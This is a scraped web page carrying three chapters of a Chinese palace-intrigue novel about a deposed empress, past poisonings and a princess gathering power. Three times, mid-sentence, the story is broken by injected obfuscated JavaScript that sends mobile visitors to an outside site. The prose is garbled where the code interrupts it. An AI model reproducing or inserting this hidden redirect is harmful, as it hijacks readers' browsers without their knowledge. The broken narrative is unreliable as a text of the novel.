;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274224|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “容娘娘,你说,今夜过去,我是不是还要……还要回公主府,和那样的一个人继续生活下去?”刘安一边说,一边想起今夜蔡闻那样貌,不由得情绪又激动起来。 “不会的不会的。”容嫔察觉到刘安情绪的起伏,将刘安抱得更紧了,安慰道:“陛下那么宠爱殿下,定不会让殿下再受到一丁点儿的欺负的。殿下不必担心。” “可是……容娘娘,我怕,我怕……” “安儿不怕,安儿不怕。”容嫔抚摸着刘安的头发,安抚着刘安的情绪,就像是抱着孩童一样,身子轻轻地摇晃着安抚着刘安。 刘安在容嫔的声声安抚中,觉得很是安心,容嫔的怀抱,就像她的生母陈妃的怀抱一样,温暖。 有那么一瞬间,刘安有些恍惚,仿佛回到了小时候,当时父亲还是信王,她的生母陈妃还在世,信王妃祁娘娘也在世,她还是个无忧无虑的小郡主,弟弟刘元也是个无忧无虑的小世子,他们一家五口就在信王府这么无忧无虑地生活着。 恍惚间,刘安不由自主地小声喊了声娘:“娘——” “什么?”容嫔没听清楚,问了一遍。 刘安早已疲惫,如今放松下来,已经睡着了。 容嫔见刘安睡下,便招呼宫人来一起把刘安抬到床上。 “安儿睡下了?”承道帝来到偏殿,低声问道。 “是。”容嫔细心地为刘安掖好被子,而后站起身来,走至承道帝身旁,轻声回话,“殿下方才哭了好一会儿,眼睛都哭肿了,臣妾看着很是心疼呢。” 承道帝无奈地叹了口气,心疼道:“安儿是受委屈了。” 承道帝与容嫔正欲离开偏殿时,刘安身体突然惊悸,颤抖一下,睡梦中无意识地喊了一声: “娘——” 承道帝心中悸动,停下了脚步,回头看去,刘安还在沉沉睡着。 承道帝想起了刘安的生母陈妃与英王刘元的生母祁妃,想起了先前他们在信王府的快乐日子,想起了……想起了陈妃和祁妃在他登基前暴毙而亡,想起了齐国公和晋国公是如何逼迫他不得追封二人,想起了今日刘安的遭遇…… 他可是一国之君啊!怎么就一次次地保护不好身边的人呢? 承道帝平复下来的心情不由得又重新燃起怒火。 “去,去把皇后和太子传过来。” 这个蔡闻是皇后亲自举荐,今夜蔡闻蔡旭二人偷梁换柱的事情皇后定是知晓,太子想来也是知晓的此事。 他们到底想要干什么!难道给他们的权力还不够大吗? 他这个皇帝还在世呢,太子还没登基呢! “陛下,公主今夜强闯宫门……已是不妥,明日朝臣们少不得要闹呢,若此时再传唤皇后娘娘与太子殿下,只怕明日朝臣非议啊!还望陛下三思。” 容嫔看着承道帝脸上神色阴晴不定,担心承道帝在气头上,会做出一些无法挽回的事情,因而站出来劝阻道。 承道帝沉思片刻,脑子冷静下来。 确实,夜已深,实在不宜再把太子牵扯进来。但不妨先把皇后叫过来问清楚。 “去传皇后吧。” “慢着。”承道帝叫住容嫔,道:“你就留在这里,看护好安儿吧。” “吴忠义,你去长秋宫,传皇后即刻来见朕!” 28. 闯宫(八)帝后失和 皇后怎么也没想到,好好的一桩婚事竟然被蔡桐给搞砸了,气得把长秋宫都快要砸烂了。 就在此时,吴忠义带着承道帝的旨意来到了长秋宫,皇后抬头看向高高的长秋宫宫顶,苦笑一声,今夜注定不眠了。 皇后穿戴整齐后,便跟着吴忠义来到了福宁殿。 此时福宁殿一片寂静,只能听到沙沙的脚步声。 皇后面无表情,直挺挺地跪下道:“臣妾参见陛下——” 在来的路上,皇后已经想好了对策,承道帝要顾全大局,她背后有晋国公府所倚仗,且颖州蔡氏是名门望族,朝中的官员有半数出自颖州蔡氏或与颖州蔡氏有关,只要矢口否认,将这件事与她与蔡桐撇得干干净净,一口咬死她们是被蒙蔽,承道帝也不会拿她怎么样,顶多是责骂她两句。 承道帝低头转着手上的扳指,并不抬头看皇后,看似随意问道:“皇后,你可知今夜发生了什么?” 皇后依旧面无表情,强撑着答道:“不知。” 承道帝听后冷笑一声,反问道:“不知?” 承道帝站起身,走至皇后身边,目光如冰,直直地盯着皇后,冷言道:“这蔡闻是你亲自举荐的,你会不知?” “陛下,今夜是永安公主大婚的日子,即便是发生了,也得到第二天,再传蔡闻蔡旭二人进宫审问,否则岂不是坏了公主的婚事?” “你既说不知,那你怎么知道公主府发生了什么?” 承道帝见皇后梗着脖子,强撑着不作答,怒火中烧,将手中的玉扳指重重地摔在地上。 “你还说你不知!” 玉扳指触地碎裂,四处飞溅,溅起来的碎块在皇后脸上划了一道血印。 “朕三番两次地相信你,相信你举荐的人,朕是多么地信任你啊,可到头来呢? “承道十八年,你为安儿指婚,举荐了开国公的孙子李重满,那是个不良人,家里妾室通房一大堆;如今,你又举荐了蔡闻。你是安儿的嫡母,后宫之主,为什么要一次次地把她往火坑里推呢?” “皇后,你告诉朕,你想干什么?如今闹成这个样子,你到底想做什么!”承道帝说着,便一把扭过皇后的脸,用力捏着质问着皇后。 “臣妾想干什么?臣妾身为后宫之主,一国之母,却无六宫之权,臣妾能做什么?更何况永安公主的驸马也是陛下亲自过目,是陛下亲自下的婚书,臣妾能做什么?” 皇后梗着脖子说完后,不屑地冷笑一声,道:“陛下可别这么指责臣妾,臣妾担不起!” 承道帝听了皇后的狡辩,眼神带着讥讽,不可置信地望向皇后,而后失望道:“看来是朕平日里太过纵容你了。” “纵容?”皇后冷笑一声,说出了自己的心里话,“你让贵妃掌管后宫,甚至让永安掌管后宫,那我呢?我才是皇后!你把我放在哪里?这就是陛下对我的纵容?” “哈哈哈哈哈哈——”皇后说罢嘲讽地大笑,仿佛听到了天大的笑话,自己身为皇后却没有后权,承道帝竟然还觉得纵容过自己。 “既然你这么怨怼于朕,那就不必做这个皇后了,朕即刻就写下废后诏书。” 承道帝像看疯子样看向皇后,不想与皇后再多言半个字,松手甩开皇后的脸,径直走向书桌,提笔便要写废后诏书。 “陛下——”皇后发出凄厉的声音,不可置信地站起身来,眼神直勾勾地盯着承道帝,她万万没想到承道帝竟然会想着废后。 “你我夫妻二十余年,自你登基,我父亲、我兄长、我侄儿,哪个不是为了大江浴血奋战,我父亲的命都献给大江,你现在竟然想着废了我?” 皇后双手扶着书桌,支撑起她摇摇欲坠的身体,癫狂地笑了起来,眼睛直直地盯着承道帝,道:“若无我们颖州蔡氏,你这皇位还能坐得这般安稳吗?若无我们晋国公府,你刘适还不知道在哪儿呢!” 承道帝听后一怔,眼中充满杀气,手上的动作一顿,而后左手抬起,以迅雷不及掩耳之势,狠狠掴在皇后脸上。 皇后被承道帝这一巴掌打得摔倒在地,眼中带着怒气,愤怒地看向承道帝。 承道帝放下手中的笔,迎着皇后的目光,居高临下地缓缓走向皇后,浑身散发着压迫的气息,待走到皇后面前,扶着皇后的凤冠,目光冷冽地盯着皇后的眼睛,问道:“你觉得朕能坐稳这皇位,皆是你们的功劳?” “你心里是这么想的?” 皇后不屑地哼了一声,别过脸去。 承道帝强硬地将皇后的脸掰过来,问道:“太子也是这么想吧?” 皇后听到承道帝质疑太子,嗤笑道:“欲加之罪,何患无辞啊!陛下,牧儿这个太子做得勤勉恭定,毫无错处,你怀疑他?” “那就是晋国公是这么想的了。”承道帝幽幽开口道:“当日祁妃和陈妃暴毙,如今英王身体孱弱,今日安儿踏入这火坑,明日是不是就轮到朕了?说吧,准备用什么药,你我二十多年的夫妻,也好让朕死个明白。” 皇后听后心虚不已,笑道:“陛下在说什么啊,怎么就扯到祁妃陈妃和英王头上了,欲加之罪何患无辞啊,陛下既已下定决心要废后,自然什么都想怪在臣妾头上。” “祁妃是女医出身,精通药理,怎会误食羹汤,暴毙而亡呢?” “英王刘元的汤药,是你费尽心机,寻遍千山万水,访遍天下名医寻来的药方,怎么身子越来越差了呢?” “哦,还有,十二年前胡人进犯,怎么三天的时间就从边境直达京师呢,你父亲呢?你兄长呢?你们颖州蔡氏呢?怎么无人抵抗!” 皇后听后内心一颤,瞪大眼睛,惊恐地望向承道帝。 是,多年前为了扩大家族势力,他们这些世家选择了信王刘适,将刘适扶上皇位,也就是如今的承道帝。 为了谋取权力,在承道帝登基前,他们毒害了当时的信王妃祁氏,也就是英王刘元的生母,还有侧妃陈氏——永安公主刘安的生母。 为了太子之位,他们又在英王刘元的汤药中加了相克的多种药物,虽不致命,但会让长期服用之人身体越来越差,长此以往,承道帝就不会立刘元这个长子为太子。 皇后没想到,她没想到承道帝早就对这些心知肚明,他竟能二十多年隐忍不发! 皇后此时的内心已经崩塌,神情肉眼可见地慌乱,胡乱攀着承道帝的胳膊,身体发抖道:“陛下……陛下……” 但皇后此时已经无言辩驳。 承道帝冷冷地看着慌乱、无助、崩溃的皇后,面无表情地说道:“你也不必再纠结这后权,以后长秋宫便是你的冷宫,你就在长秋宫好好忏悔,日日祷告,好告慰祁妃陈妃二人的在天之灵。” 承道帝当即越过皇后,大步流星地走到书桌前,洋洋洒洒继续写下废后诏书,而后盖上玉玺,高声喊道:“吴善辅,你即刻便去宣读这废后诏书,晓谕六宫!” 废后? 废后诏书一下,势必会牵连太子!吴善辅可是把自己的身家都押在了太子身上,若太子受到牵连,他以后可怎么办呢? 不行,这废后诏书不能宣读! 但他吴善辅是什么身份,给他八个胆子也不敢反驳承道帝啊! 吴善辅犹豫了片刻,还是接下了这废后诏书,随后一步一步慢慢地挪动退后,他多么希望承道帝再三思虑后,会叫住他,收回诏书。 “吴忠义,将蔡氏带下去,禁足长秋宫,不许任何人靠近。” 吴忠义应声进殿,带着人将瘫坐在地上,双眼无神的皇后扭送回长秋宫。 在永安公主刘安睡熟后,容嫔担心主殿的情况,便悄悄来到主殿外,却不想听到了殿内的承道帝与皇后的争吵,听到了承道帝要废后,也看到了皇后被福宁殿的内官带回长秋宫。她身为旁观者,知道兹事体大,若这废后诏书一下,只怕会朝局不稳啊! 可她若贸然进殿求承道帝收回这份诏书,只怕会牵连到她牵连到她的七皇子刘昶,因此容嫔只得焦急地在殿外踱步。 容嫔一回头,无意间瞥见了永安公主刘安不知何时站在了她身后,容嫔受惊,险些惊叫出声。 容嫔轻擦去额头上的冷汗,讪讪道:“殿下何时来的,怎的一点动静都未曾听到?” 永安公主刘安看了容嫔一眼,并不做声,扭头便走。 祁娘娘的死,母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274225|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的死,还有元弟的身体日渐虚弱,竟都与皇后有关!如今这一切,都是她咎由自取! 容嫔咬了咬嘴唇,艰难地开口道:“公主是个玲珑剔透的人,自然明白这份废后诏书若真的晓谕六宫,将会是怎样的一个无法挽回的局面。” “无论怎样,都是咎由自取,怨不了旁人。” 永安公主刘安头也不回,言语中听不出来任何的语气。 容嫔快走几步,拦在永安公主面前,言真意切道:“殿下,废后诏书一下,朝野动荡,陛下苦心经营多年的局面便会功亏一篑!” 刘安心中对皇后有气,如今父皇已对皇后做出惩治,她自然不想掺和废后的事。但容嫔说的也很有道理,废后诏书一下,朝野动荡。 如今太子监国,满是雄心壮志,还想着收复漳州五城的失地,阻击大胡十八部,平定栾南诚王,抗击陌南海寇,若废后诏书一下,只怕太子这些雄心壮志都会付诸东流。 刘安想至此处,长长地叹了口气。 当年的启盛帝不就是因为实行改革大兴科举,将出身齐国公府的张太后迁居别宫,触及了这些世家的利益,才被这些大族的人暗害了吗? 父皇为了打破世家大族对朝廷的把控,收回皇权,苦心布局多年,眼看即将就要收网,若此时废后的消息传出去,只怕会打草惊蛇,多年的心血功亏一篑。 若是此事打草惊蛇,只怕父皇会落得和启盛帝一样的下场。 刘安深吸了一口气,坚定道:“我明白。我这就去拦截诏书,还望容娘娘封锁福宁殿的消息,别让消息传出去。” “好。”容嫔应允。 吴善辅踌躇地走出书房,看着手中的废后诏书,就像个烫手山芋一样,不知该如何是好。 刘安上前几步,挡住了吴善辅的路,问道:“吴内官,这是要去哪儿?” “陛下让奴才去宣读诏书。”吴善辅见到永安公主拦住了他,心想终于有人拦他了,若真要他将这份诏书晓谕六宫,明日承道帝后悔,只怕自己这颗脑袋就保不住了。 既然公主这么问,不如待会就把这份诏书推给永安公主。 “给我吧。”刘安伸出手,横在她与吴善辅之间,等着吴善辅递上这诏书。 “这……”吴善辅虽心中松懈,但还是得做做样子,神色犹豫。 “这件事因我而起,自然要由我解决。若父皇怪罪起来,我替你扛着。”刘安继续说道。 刘安见吴善辅站在原地不动,伸手便把吴善辅手上的诏书抢了过来。 吴善辅佯装格挡,但还是把诏书半推半就放在了公主手上。 刘安在殿外等了一个钟头,揣测承道帝情绪应该冷静下来,这才进殿内劝解承道帝。 刘安手持诏书,推开殿门,迈步进殿,只见承道帝在剧烈咳嗽,刘安忙上前去轻拍着承道帝的后背,为承道帝顺气,并将手中的手帕递给承道帝。 承道帝气血攻心,掩嘴又咳几声,忽喉咙一股腥甜,待他拿下手帕一看,手帕上赫然一口血痰。 刘安见后大惊失色,正欲传太医,被承道帝制止了。 “不必了,朕知道自己的身体是个什么情况,如今太子监国阻力重重,龙体有恙更不能让其他人知道,否则会滋生不臣之心。”承道帝看见刘安手中的废后诏书,松了口气,向永安公主解释道。 刘安神色担忧,低头自责道:“都怪儿臣,儿臣不应该这么鲁莽,不应该夜闯宫门……” “傻孩子,胡说什么呢。” 承道帝抚摸着永安公主的后脑勺安慰道:“朕从小看着你长大,亲自教导你,对你百般呵护,是希望你能够平安快乐地长大生活,不是让你嫁人后受人欺凌的。” “你若受了委屈而顾前想后不敢告诉父皇,父皇瞻前顾后不能保护好你,那父皇这个皇帝做的还有什么意思!” “父皇!”刘安被承道帝这舐犊情深的肺腑之言说得眼泪夺眶而出,靠在承道帝肩头痛哭。 “你今夜受惊了,先回去歇着吧,这里的事交给容嫔吧。”承道帝怜爱地拍着刘安的脑袋,语气温柔说道。 刘安轻轻点头,应声道:“好。” 29. 闯宫(九)旧事重提 经过一夜的思虑,永安公主刘安意识到,只有父皇的疼爱还是远远不够的,手中还是要有权力,要有势力,否则将来只会任人宰割。 如今父皇还在位,就有人敢这么对自己,倘若日后太子登基,皇后成为皇太后,那自己岂不就成了砧板上的肉? 不行,不能有那么一天! 刘安思前想后,打定主意,来东华宫找英王刘元商议。 “大姐姐,我还想着去找你呢,可巧你就来了。” 英王刘元见刘安来了,脱下大氅,一脸关切地看向刘安。 正好刘元也想知道昨夜到底发生了什么,为什么一夜之间皇后被禁足,难道皇后禁足与大姐姐有关吗? 刘安轻叹口气,走至桌前,坐下抿了口茶,而后又扶了扶头上的钗环,开门见山道:“我来找你不为别的,我想给昨日护送我来的护卫,金中堂,给他谋个好差事。” “虽说父皇会嘉奖他的忠勇,可那是父皇给他的,我想再额外给他份恩裳。” 刘元皱眉迟疑片刻,而后舒展眉目笑道:“应该的。我听说了,那护卫忠心耿耿,一路护送大姐姐回宫,给他升个官也没什么,回头我问一下吏部,看哪里有空缺的,让他去就是了。” 刘元说罢,喝了口茶,准备问昨夜之事。 “不必这么兴师动众的,怪麻烦的。我已经看好了一个。”刘安说罢,顿了顿,侧身静静地看向刘元,缓缓开口道:“京师护城军的副将。” 刘元听后,面露难色,欲言又止道:“只怕没有大姐姐想的那么容易。” 刘元心里纳闷,大姐姐从前从不愿意插手这些事,如今怎么想着把手伸进护城军了?难道是因为昨天的事儿开了窍? 只是这护城军是太子在分管,军中将领也都是太子的人,如今要安插个大姐姐的人进去,只怕得好好要运作一番了。 刘元眉头紧锁,思考着该用什么样的方法把这个金中堂安插进护城军。 刘安见刘元久久不言语,便以为刘元不想帮她,正色道:“你就说能不能办吧。” 刘元无奈道:“能,只是要费些功夫。” “既然这样,那就劳烦你了。”刘安听后,莞尔一笑,起身便准备离开。 刘元见刘安来找他只为了这一件事,忙起身拦住她,迫切道:“大姐姐,你的事说完了,现在该听听我的事了。” 刘安暂顿,停下动作,略带心虚地看向刘元,叹了口气,她知道刘元定是要问她皇后禁足一事,可是…… 刘元当即屏退了宫人,恳切问道:“昨天晚上到底发生了什么?皇后怎么突然被禁足了呢?” 刘安重新坐下,不敢抬头对向刘元的眼睛,低头不慌不忙地喝了一口茶后,思索得差不多了,这才缓缓说道:“说来话长,蔡闻和蔡旭那两个欺君罔上,父皇知晓后愤怒不已,连夜替我写下休夫书。” “因蔡闻是皇后所举荐,父皇一气之下,禁足了皇后。” “哦?我怎么听说还有一份诏书?”刘元听后试探地问了一句,随即仔细观察着刘安的反应。 刘元见刘安神色有些慌张,继续试探道:“皇后和晋国公,还有他们颖州蔡氏,做过那么多过分的事,父皇都心知肚明,但始终顾念着太子,顾念着皇后是太子的生母,因此不论他们怎么闹,到底还是会护着皇后的脸面,禁足可是从未有过的。如今禁足,只怕是大事。” “大姐姐,昨夜你在,你最清楚发生了什么,皇后被禁足到底是为了什么?那封诏书到底写了什么?”刘元情绪激动,双手撑在桌子上,咳嗽几声。 “大姐姐,你我亲姐弟,又有自幼一起长大的情分,如今还有什么不能说的。” 刘元见刘安脸上露出犹豫的神色,难以开口,情绪不由得更加激动,更加心急如焚:“大姐姐,我如今已经时日不多了,你就让我临死前死个明白好不好?” “不然来日见到母妃,我无颜见她啊!” 刘元说到激动处,身体有些受不住,掩着嘴咳了几声,身体不受控地后退了几步。 “元弟。”刘安担心地站起身扶住刘元。 “大姐姐,我不求能知道他们争吵的内容是什么,我现在只想知道,昨日父皇和皇后争吵时,有没有提到我母亲?”刘元情绪激动地握住刘安的手臂,恳求道:“大姐姐,我求你了。你告诉我好不好?” 刘元直直地盯着刘安,生怕错过任何刘安的任何一个表情、说出的任何一个字眼。 刘安对上刘元着急的眼睛,知道瞒不过刘元,叹了口气,默默地点了点头。 “哈哈哈哈哈哈哈。”刘元近乎癫狂地大笑几声,“果然是这样,我猜得不错,果然是这样!” “这几年我一直扶持着太子,却没想到扶持了仇人的儿子。母亲啊,这让儿子以后怎么见你啊!”刘元恨恨地握紧拳头。 刘安担忧地搀扶着刘元,把他扶到榻上暂缓,问道:“此话怎讲?” 大笑过后,刘元无奈地长长叹了一口气,仿佛精气神都随着这一口气消散了,一下子苍老了很多。 “父皇是不是还说,顾念着皇后的面子,所以没有对你我二人的母亲进行追封?”刘元有力无气地问道。 “我依稀听到了这句话,不过听得不够真切,不敢乱言。”刘安回道。 刘元冷哼一声说道:“先前我就在揣测,猜测你我二人的母亲死因有蹊跷,你想,我母亲是医女出身,精通医术药理,怎么会暴毙呢?” “还那么巧,陈娘娘也与母亲同时身亡,更巧的是在父皇被启盛帝传位之后突然暴毙。” “就连我的身体,也是在父皇登基后,贵妃和皇后相继入宫之后才垮掉的。” “大姐姐,你还看不明白吗?” “我……”刘安看向刘元,问道:“你是不是知道什么?” 刘元苦笑一声,道:“十二年前边境失守,将士惨死,永州驻城官傅士安就一直在暗中追查,因而查到了许多陈年往事,可他刚把查到消息传递给我,就被人陷害。” 刘安急切地问道:“他查到了什么?” 刘元凑近刘安耳边,压低声音说道:“为何母亲会暴毙而亡,为何我会身子孱弱,还有启盛帝为何会落水而亡。” 接着,刘元缓缓道出当年许多事的真相: “启盛帝登基后,就迫不及待开始改革,开科举,重用寒门子弟,打压那些大族,与出自齐国公府的张太后意见相悖,还将太后迁出皇宫,如此种种早已触动了这些世家大族的利益,最后,启盛帝被毒杀,他们把启盛帝投入水中,伪装成了落水而亡。” “因启盛帝无嗣,兄终弟及,他们那些人以为父皇好拿捏,这才拥立父皇登基。父皇当年还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274226|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信王的时候,母亲是正妃,按理父皇登基,母亲理应被封为皇后,可他们为了手握权力,在母亲的汤羹中加了十足十的毒药,母亲同陈娘娘喝下汤羹,这才暴毙。母亲死在了父皇登基前,给他们腾出了皇后的位置,之后便是当今的皇后、当今的贵妃入宫。” “也是自那以后,我的身体就变得很差,三天两头的咳嗽高热,这二十几年,汤药不断,可身子却越来越来差。” “原我是不信这些的,我只当是自己体弱,凭着汤药吊着一口气活着罢了,可前几个月我去大胡谈判,迎四弟回京,因药罐被打破,有几日没喝药,就那几日,我明显感觉我的身体和往日不一样,咳嗽都少了,也不畏寒了,就连握笔习字也都更有力道,我这才不得不信傅士安查到的这些。” 刘元说着说着,神色悲凉,无奈叹了口气,继续说道: “只是现在我知道这些,已经为时已晚。就凭我现在的气力,若想把这些翻到明面上,为母亲和陈娘娘讨回公道,只怕是有心无力。” “若要追究当年的事,就得动太子了,可如今太子有能力有野心,又勤政爱民,朝中党羽众多,若日后登基,想必会是个中兴之主,我又怎能为了一己私欲,去……去……” 刘元身体颤抖,面露痛苦之色,苦笑一声,继续说道: “老二和老四倒是能与太子一较高下,只是老四在大胡做质子十二年,如今又被赶去了陌南,即便是有外祖齐国公一家,只怕朝中势力也不如太子;老二又性情狭隘一向不被父皇喜欢。若是扳倒太子,这些个皇子中,又有谁担此大任呢?” 刘元无可奈何地说道:“想必父皇也是这么想的吧,所以才会这么纵容皇后和晋国公他们吧。” 刘元说着说着咳嗽了几声,自嘲地笑道:“只恨我身体不好,纵然心中有万般谋略,始终都不得施展,也没法为母亲讨个公道。倘若我能早些发现这些,倘若我身体还依旧康健,这公道我也是要争的,这太子之位我也是要争的,就连这皇位,我也是要坐一坐的。” “只是这朝局动荡,终究苦的还是天下的百姓,不知道又有多少幼童会失恃失怙。我六岁丧母,知道那是个什么滋味。” 刘安轻轻拍了拍刘元,又长长叹了口气,她这个弟弟心里实在是苦。 可他们现在什么也做不了,一个虽说是最宠爱的公主但是女儿身,做不到大权在握;一个虽说是元妻之子,但母亲未被追封为皇后,地位尴尬,他们两个实在是翻不起什么波澜。 刘元收起情绪,开始布局谋划:“大姐姐,你传金中堂来我宫中,有些事情还要安排他去做。” 他与刘安从小一起长大,又都是从小丧母,同病相怜,虽然都有父皇的庇护,但终究不是长久之计。 如今父皇还在世,他们就这么受人欺负,若待父皇和他都不在了,大姐姐只怕会任人宰割了。 刘安点点头道:“好,我这就托人回宫传他过来。” 不多时,东华宫的宫人在外面报: “二位殿下,福康宫来人请公主殿下回去,说是二殿下在福康宫等着公主,与公主有要事相商。” 刘元和刘安相视一眼,尽是疑惑。 刘元思索片刻,恍然大悟道:“估摸着是为为了栾南的事。” “你先回去吧,剩下的我来安排。” “好。” 30. 闯宫(十)大快人心 福康宫内,二皇子刘仲一见永安公主刘安回宫,急忙站起身迎上去。 “大姐姐,栾南战事吃紧。” “眼下正是用人之际,我……我想举荐一人。” 刘安听后瞟了刘仲一眼,而后笑道:“如今太子监国,栾南的战事自有太子决策,我不过一介女流,哪里懂得这些用兵打仗之事。你应该去找太子商议。” “大姐姐。”刘仲搓搓手,谄笑道:“我推荐这人,是开国公的孙子。” 刘仲说完,抬眼偷偷看了眼刘安的表情,见刘安神色不变,这才敢继续说下去:“这人正是李重满。大姐姐平日里在父皇面前得脸,我这才想着让大姐姐在父皇面前能够美言几句。” 刘安波澜不惊,撇下刘仲,转身独自进了内殿。 刘仲见状,忙跟了上去。 刘安取下挂着的戒尺,在手上试着拍了几下,冷哼一声道:“老二,这把戒尺我只教训过小六、小七他们,从没对你使过,想来你不知道这戒尺挨在身上是什么滋味吧?” 刘安目光欣赏着手中的戒尺,轻轻地抚摸着戒尺,许久不用,戒尺上已有些裂纹了。 刘仲见刘安这般反应,知道刘安是生气了,伸手挡住戒尺,心虚地笑着说道:“我知道大姐姐曾经和开国公之间闹过不愉快,不过……眼下正是用人之际,我也是实在没有办法,这才舔着脸来找大姐姐的。 刘仲边说着,边对着刘安拱手鞠躬,抱歉道:“还望姐姐大人有大量,不与他们一般计较才是。” 刘安并不领情,冷着脸道:“哼,你放心,我定会去父皇面前说的。” 刘仲听后喜出望外,正欲向刘安拱手谢礼,便听到刘安说: “我定会让父皇再好好地揍你一顿。” 刘安说罢,紧紧盯着刘仲的眼睛,脸上带着愠色。 京中谁人不知,当初这李重满与自己曾有过不愉快,如今老二又来让自己为这李重满美言几句,把她当什么了? 可真是她的好弟弟啊! “大姐姐,如果父亲打我一顿,能让朝廷有人可用,我——”刘仲说得言辞诚恳,拱手道,“毫无怨言。” 刘安起身踱了几步,转念一想,那金中堂在太子分管的护城军中做事,虽有自己与英王的举荐,可到底不是太子的人,只能落得个不上不下,如今岂不正是扶持自己势力的好机会吗? 刘安拿定主意,佯装露出犹豫神色,看了刘仲数眼,均欲言又止。 刘仲疑惑问道:“大姐姐有什么话直说就是,你我姐弟,何须如此顾虑?” 刘安思索后,终犹豫开口道:“李重满是肯定不行的,这么吧,我另给你推荐一人。” 刘仲挑眉问道:“谁?” 刘安道:“金中堂。” 刘仲听后,思索片刻,最终狐疑道:“这人我怎么从未听说过?靠谱吗?” 刘安自信笑道:“他呀,原是我的护卫,现在是护城军的副将,为人忠心耿耿,武艺高强。你放心,绝对是个可用之人。” 刘安见刘仲还有些犹豫,随即以退为进,冷脸说道:“不愿意那算了,你自去找父皇举荐李重满吧,我累了。” “愿意愿意。” “大姐姐给我推荐的,我高兴还来不及呢,哪儿会不愿意啊。”刘仲当即谄媚一笑,拱手谢道:“劳烦大姐姐费心了。” 刘仲从袖中拿出一个小匣子,从中取出一只玉簪,递给刘安道:“大姐姐,这是小弟前几日在宫外淘来的一块料子,因形状酷似莲花,知大姐姐最是喜爱莲花,遂亲手雕琢,特送与大姐姐。” “你费心了。”刘安接过玉簪,细细看着,料子是好料子,想来老二是花了大价钱的,只是雕工略显粗陋,想来老二俸禄不多,买了这么一块好料子后就囊中羞涩了吧,不过老二这亲手雕刻的一番心意,实属难得。 “大姐姐不嫌这礼物寒酸就好。”刘仲低头道,“方才大姐姐说累了,小弟便先告退了。” 刘仲走出福康宫主殿,叹了口气,栾南战事来得急,他手下可用的人不多,原本并未考虑过这个李重满,但李重满真心投靠自己,况且开国公府虽说有些落寞,可到底有个世袭的爵位,勉强堪用,他这才厚着脸皮来找大姐姐刘安,却怎么也没想到大姐姐要用她的人,难为他筹谋一番,竟是为了他人做嫁衣。 罢罢罢,总比都是太子的人强。 刘仲刚走出福康宫,便撞到急匆匆赶来的金中堂。 金中堂见撞到二皇子刘仲,慌忙跪下行礼:“微臣金中堂,拜见二殿下。” 哦?这就是大姐姐提及的金中堂?这便是昨夜护送大姐姐回宫的金护卫? “抬起头来。”刘仲将刚升起的怒火压下,上下打量一番金中堂后,突然露出微笑,道:“许是大姐姐找你有急事,别耽误了,快进去吧。” “是。” 待金中堂从永安公主刘安处得知刘元传唤他后,便朝着东华宫赶去,待到了东华宫,刘元先是寒暄道: “你在公主身边做护卫已有八九年了吧。” 金中堂回道:“是,已有九年十月零六天。” 英王刘元听后,笑着夸赞道:““昨夜你护送公主回宫,我就知道你是个英勇忠心的人,大姐姐能有你这样的护卫,她的安危我便放心了。” “虽然父皇下旨处置了蔡闻蔡旭二人,这二人也被赶出了京,可到底还是长了两条舌头,还是会说话。若他们在京师外胡言乱语,会坏了公主的名声。你跟着公主八九年了吧,想来也不想看到公主名声受损吧。” 随即刘元安排道:“父皇仁慈,没有下旨杀了他们二人。可我这个做弟弟的,却看不得我大姐姐受这样委屈,你,去替我将他们二人的舌头割下带回来。” “是。”金中堂当即领命朝着城外赶去。 “驾——驾——” “吁——” 五皇女刘宁风尘仆仆地从陌南赶回来,在城门处遇到了出城的七皇子刘昶,便勒马停住,跳下马朝着刘昶高兴地挥手招呼道:“七弟!” “五姐!” 刘宁牵着马跑到刘昶身边,遗憾叹气道:“唉,真是可惜,紧赶慢赶,还是来晚了一日,错过了大姐姐的婚礼。” 刘昶听后也是一声叹气。 刘宁捶了刘昶一拳,笑着打趣道:“你叹什么气?” 刘昶看了刘宁一眼后,而后又是重重叹了一口气,道:“说来话长啊。” 刘宁扬起拳头,威胁道:“什么说来话长,快说!” 刘昶抬头看了眼西斜的落日,飞身上马,道:“你先回宫吧,待我处理完后,再说与你听。”说罢,扬鞭而去。 “卖什么关子!我偏要跟过去看看!”刘宁抓紧缰绳,同样飞身上马,快马加鞭,追上刘昶,拦住刘昶,问道:“什么事这么神神秘秘地不告诉我?” “你若不告诉我,我便不让你走!你可想清楚了。” 刘昶向来拿他这个五姐没办法,只得将蔡闻蔡旭二人是如何欺负大姐姐,又将承道帝是如何命令他截杀二人,从头到尾一字不落地全盘说与刘宁听。 刘宁听后,气愤不已,张口骂道:“呸,什么东西 